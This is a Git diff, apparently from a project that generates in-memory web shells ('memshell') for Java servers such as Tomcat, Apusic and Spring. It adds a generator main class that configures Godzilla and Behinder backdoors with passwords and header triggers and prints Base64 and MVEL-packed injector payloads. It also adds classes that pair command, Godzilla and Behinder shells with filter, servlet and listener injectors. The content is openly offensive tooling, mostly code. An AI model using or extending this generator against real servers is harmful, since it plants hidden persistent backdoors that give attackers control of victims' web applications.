||||||
public GenerationException(String message, Throwable cause) {
|
|
||||||
super(message, cause);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,78 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.AbstractShell;
|
||||||
|
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packers;
|
||||||
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/24
|
||||||
|
*/
|
||||||
|
public class GeneratorMain {
|
||||||
|
|
||||||
|
public static void main(String[] args) throws IOException {
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(Constants.FILTER)
|
||||||
|
.targetJreVersion(Opcodes.V1_8)
|
||||||
|
.debug(true)
|
||||||
|
.build();
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
.pass("pass")
|
||||||
|
.key("key")
|
||||||
|
.headerName("User-Agent")
|
||||||
|
.headerValue("test123").build();
|
||||||
|
CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build();
|
||||||
|
|
||||||
|
BehinderConfig behinderConfig = BehinderConfig.builder()
|
||||||
|
.pass("test123")
|
||||||
|
.headerName("User-Agent")
|
||||||
|
.headerValue("test").build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = new InjectorConfig();
|
||||||
|
|
||||||
|
GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
if (generateResult != null) {
|
||||||
|
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
||||||
|
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
||||||
|
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
||||||
|
System.out.println(Packers.MVEL.getInstance().pack(generateResult));
|
||||||
|
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
Server server = shellConfig.getServer();
|
||||||
|
AbstractShell shell = server.getShell();
|
||||||
|
if (shell == null) {
|
||||||
|
throw new IllegalArgumentException("Unsupported server");
|
||||||
|
}
|
||||||
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
|
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||||
|
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||||
|
}
|
||||||
|
|
||||||
|
return shell.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packers packerInstance) {
|
||||||
|
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
|
if (generateResult != null) {
|
||||||
|
return packerInstance.getInstance().pack(generateResult);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,27 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/11
|
|
||||||
*/
|
|
||||||
public class Server {
|
|
||||||
public static final String Tomcat = "Tomcat";
|
|
||||||
public static final String Jetty = "Jetty";
|
|
||||||
public static final String Jetty5 = "Jetty5";
|
|
||||||
public static final String Undertow = "Undertow";
|
|
||||||
public static final String JBoss = "JBoss";
|
|
||||||
public static final String Resin = "Resin";
|
|
||||||
public static final String Resin2 = "Resin2";
|
|
||||||
public static final String WebLogic = "WebLogic";
|
|
||||||
public static final String WebSphere = "WebSphere";
|
|
||||||
public static final String GlassFish = "GlassFish";
|
|
||||||
public static final String TongWeb = "TongWeb";
|
|
||||||
public static final String BES = "BES";
|
|
||||||
public static final String InforSuite = "InforSuite";
|
|
||||||
public static final String Apusic = "Apusic";
|
|
||||||
public static final String SpringWebMvc = "SpringWebMvc";
|
|
||||||
public static final String SpringWebFlux = "SpringWebFlux";
|
|
||||||
public static final String XXLJOB = "XXLJOB";
|
|
||||||
public static final String Struts2 = "Struts2";
|
|
||||||
public static final String Dubbo = "Dubbo";
|
|
||||||
}
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/5/27
|
|
||||||
*/
|
|
||||||
public interface ShellGenerator {
|
|
||||||
|
|
||||||
byte[] getBytes();
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,95 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.BehinderGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.generator.CommandGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/7
|
||||||
|
*/
|
||||||
|
public abstract class AbstractShell {
|
||||||
|
/**
|
||||||
|
* 获取内存马功能所支持的注入类型列表
|
||||||
|
*
|
||||||
|
* @param tool 内存马功能
|
||||||
|
* @return shellTypes
|
||||||
|
*/
|
||||||
|
public List<String> getSupportedShellTypes(ShellTool tool) {
|
||||||
|
return switch (tool) {
|
||||||
|
case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
|
||||||
|
case Command -> getCommandShellMap().keySet().stream().toList();
|
||||||
|
case Behinder -> getBehinderShellMap().keySet().stream().toList();
|
||||||
|
default -> Collections.emptyList();
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||||
|
if (shellInjectorPair == null) {
|
||||||
|
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
|
||||||
|
}
|
||||||
|
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||||
|
Class<?> injectorClass = shellInjectorPair.getRight();
|
||||||
|
|
||||||
|
shellToolConfig.setShellClass(shellClass);
|
||||||
|
|
||||||
|
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
|
injectorConfig = injectorConfig
|
||||||
|
.toBuilder()
|
||||||
|
.injectorClass(injectorClass)
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.shellClassBytes(shellBytes).build();
|
||||||
|
|
||||||
|
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
|
||||||
|
|
||||||
|
return GenerateResult.builder()
|
||||||
|
.shellConfig(shellConfig)
|
||||||
|
.shellToolConfig(shellToolConfig)
|
||||||
|
.injectorConfig(injectorConfig)
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.shellBytes(shellBytes)
|
||||||
|
.injectorClassName(injectorConfig.getInjectorClassName())
|
||||||
|
.injectorBytes(injectorBytes)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||||
|
return Collections.emptyMap();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||||
|
return Collections.emptyMap();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||||
|
return Collections.emptyMap();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
|
||||||
|
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
|
||||||
|
case Godzilla -> getGodzillaShellMap();
|
||||||
|
case Command -> getCommandShellMap();
|
||||||
|
case Behinder -> getBehinderShellMap();
|
||||||
|
default -> Collections.emptyMap();
|
||||||
|
};
|
||||||
|
return shellMap.get(shellType);
|
||||||
|
}
|
||||||
|
|
||||||
|
private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
return switch (shellConfig.getShellTool()) {
|
||||||
|
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
||||||
|
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
||||||
|
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
||||||
|
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener;
|
||||||
|
import com.reajason.javaweb.memshell.apusic.command.CommandListener;
|
||||||
|
import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener;
|
||||||
|
import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/27
|
||||||
|
*/
|
||||||
|
public class ApusicShell extends AbstractShell {
|
||||||
|
@Override
|
||||||
|
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||||
|
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||||
|
map.put(SERVLET, Pair.of(CommandServlet.class, ApusicServletInjector.class));
|
||||||
|
map.put(FILTER, Pair.of(CommandFilter.class, ApusicFilterInjector.class));
|
||||||
|
map.put(LISTENER, Pair.of(CommandListener.class, ApusicListenerInjector.class));
|
||||||
|
return map;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||||
|
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||||
|
map.put(SERVLET, Pair.of(GodzillaServlet.class, ApusicServletInjector.class));
|
||||||
|
map.put(FILTER, Pair.of(GodzillaFilter.class, ApusicFilterInjector.class));
|
||||||
|
map.put(LISTENER, Pair.of(GodzillaListener.class, ApusicListenerInjector.class));
|
||||||
|
return map;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||||
|
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||||
|
map.put(SERVLET, Pair.of(BehinderServlet.class, ApusicServletInjector.class));
|
||||||
|
map.put(FILTER, Pair.of(BehinderFilter.class, ApusicFilterInjector.class));
|
||||||
|
map.put(LISTENER, Pair.of(BehinderListener.class, ApusicListenerInjector.class));
|
||||||
|
return map;
|
||||||
|
}
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user